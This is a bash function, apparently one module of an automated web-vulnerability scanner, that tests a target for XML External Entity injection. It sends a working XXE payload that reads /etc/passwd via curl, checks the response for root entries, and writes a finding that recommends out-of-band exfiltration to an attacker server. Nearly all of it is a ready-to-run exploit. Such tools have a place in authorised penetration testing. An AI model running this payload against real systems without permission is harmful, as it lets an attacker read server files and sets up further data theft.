#!/usr/bin/env bash
# Vector 09: XML External Entity (XXE)
# Desc: XXE injection via XML upload/params
# Detect: XML endpoints, SOAP APIs, RSS feeds
# Severity: CRITICAL
# Tools: curl

vector_xxe() {
  local target="$1"
  local report="$2"
  local findings=0
  
  print_info "Testing XXE vectors..."
  
  # Check if target accepts XML
  local content_type=$(curl -sI --connect-timeout 5 --max-time 10 "$target" 2>/dev/null | grep -i "^content-type:" | tr -d '\r')
  
  if echo "$content_type" | grep -qi "xml\|soap"; then
    print_info "XML endpoint detected, testing XXE..."
    
    local xxe_payload='<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>'
    
    local response=$(curl -s --connect-timeout 5 --max-time 10 \
      -X POST \
      -H "Content-Type: application/xml" \
      -d "$xxe_payload" \
      "$target" 2>/dev/null)
    
    if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:"; then
      print_find "XXE confirmed!" "File read via external entity"
      echo "SEVERITY: CRITICAL
VECTOR: XML External Entity (XXE)
DETAIL: XXE confirmed on $target
EVIDENCE: Internal file read via DTD entity
EXPLOIT: Blind XXE: use OOB exfiltration to attacker server" > "$REPORTS_DIR/.finding_$(date +%s)_xxe.txt"
      findings=$((findings + 1))
    fi
  else
    print_skip "No XML endpoint detected"
  fi
  
  return $findings
}